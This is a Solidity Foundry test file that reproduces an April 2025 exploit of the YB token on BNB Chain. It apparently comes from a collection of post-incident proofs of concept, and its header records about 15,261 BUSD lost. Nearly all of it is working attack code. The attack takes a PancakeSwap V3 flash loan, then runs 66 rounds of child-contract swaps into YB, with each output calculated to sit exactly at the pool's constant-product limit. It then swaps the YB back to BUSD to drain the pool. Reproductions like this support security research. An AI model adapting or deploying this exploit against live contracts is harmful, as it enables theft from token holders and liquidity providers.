src/test/2025-04/YBToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 15261.68240413121964707 BUSD
8// Original Attacker : https://bscscan.com/address/0x00000000b7da455fed1553c4639c4b29983d8538
9// Attack Contract(Main) : https://bscscan.com/address/0xbdcd584ec7b767a58ad6a4c732542b026dceaa35
10// Vulnerable Contract : https://bscscan.com/address/0x113F16A3341D32c4a38Ca207Ec6ab109cF63e434
11// Attack Tx : https://bscscan.com/tx/0xe1e7fa81c3761e2698aa83e084f7dd4a1ff907bcfc4a612d54d92175d4e8a28b
12// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
13 
14// Contracts involved
15address constant pancakeV3Pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
16address constant YB_BUSD_LP = 0x38231F8Eb79208192054BE60Cb5965e34668350A;
17address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
18 
19address constant YB = 0x04227350eDA8Cb8b1cFb84c727906Cb3CcBff547;
20 
21contract YBToken_exp is Test {
22    address attacker = makeAddr("attacker");
23 
24    function setUp() public {
25        vm.createSelectFork("bsc", 48415276 - 1);
26    }
27 
28    function testPoC() public {
29        vm.startPrank(attacker);
30 
31        AttackerC attC = new AttackerC();
32        
33        attC.attack();
34 
35        console2.log("Profit:", IERC20(BUSD).balanceOf(attacker) / 1e18, 'BUSD');
36    }
37}
38 
39contract AttackerC {
40    uint256 loanAmount = 19200000000000000000000; // Magic number
41    uint256 swapLength = 66; // Magic number
42 
43    function attack() external payable {
44        Uni_Pair_V3(pancakeV3Pool).flash(
45            address(this),
46            loanAmount,
47            0,
48            ''
49        );
50 
51        uint256 balBUSD = IERC20(BUSD).balanceOf(address(this));
52        IERC20(BUSD).transfer(msg.sender, balBUSD);
53    }
54 
55    function pancakeV3FlashCallback(
56        uint256 fee0,
57        uint256 fee1,
58        bytes calldata data
59    ) external {
60        for (uint i; i < swapLength; i++) {
61            AttackerCChild child = new AttackerCChild();
62            IERC20(BUSD).transfer(YB_BUSD_LP, loanAmount / swapLength);
63 
64            (uint112 reserve0, uint112 reserve1,) = IPancakePair(YB_BUSD_LP).getReserves();
65            uint256 balance1 = IERC20(BUSD).balanceOf(YB_BUSD_LP);
66 
67            IPancakePair(YB_BUSD_LP).swap(
68                getAmount0ToReachK(balance1, reserve0, reserve1),
69                0,
70                address(child),
71                ''
72            );
73 
74            IERC20(YB).transferFrom(
75                address(child), 
76                address(this), 
77                IERC20(YB).balanceOf(address(child))
78            );
79        }
80 
81        uint256 balYB = IERC20(YB).balanceOf(address(this));
82 
83        for (uint i; i < swapLength; i++) {
84            IERC20(YB).transfer(YB_BUSD_LP, balYB / swapLength);
85            
86            (uint112 reserve0, uint112 reserve1,) = IPancakePair(YB_BUSD_LP).getReserves();
87            uint256 balance0 = IERC20(YB).balanceOf(YB_BUSD_LP);
88 
89            IPancakePair(YB_BUSD_LP).swap(
90                0,
91                getAmount1ToReachK(balance0, reserve0, reserve1),
92                address(this),
93                ''
94            );           
95        }
96 
97        uint256 balBUSD = IERC20(BUSD).balanceOf(address(this));
98 
99        IERC20(BUSD).transfer(pancakeV3Pool, loanAmount + fee0);
100    }
101 
102    function getAmount0ToReachK(
103        uint256 balance1, 
104        uint256 reserve0, 
105        uint256 reserve1
106    ) internal pure returns(uint256 amount0Out) {
107        uint256 K = reserve0 * reserve1 * 10000**2;
108        uint256 step1 = balance1 * 10000 - (balance1 - reserve1) * 25;
109        uint256 step2 = K / step1 / 10000;
110 
111        amount0Out = reserve0 - step2 - 1;
112    }
113 
114    function getAmount1ToReachK(
115        uint256 balance0, 
116        uint256 reserve0, 
117        uint256 reserve1
118    ) internal pure returns(uint256 amount1Out) {
119        uint256 K = reserve1 * reserve0 * 10000**2;
120 
121        uint256 step1 = balance0 * 10000 - (balance0 - reserve0) * 25;
122        uint256 step2 = K / step1 / 10000;
123 
124        amount1Out = reserve1 - step2 - 1;
125    }
126}
127 
128contract AttackerCChild {
129    constructor () {
130        IERC20(YB).approve(msg.sender, type(uint256).max);
131    }
132}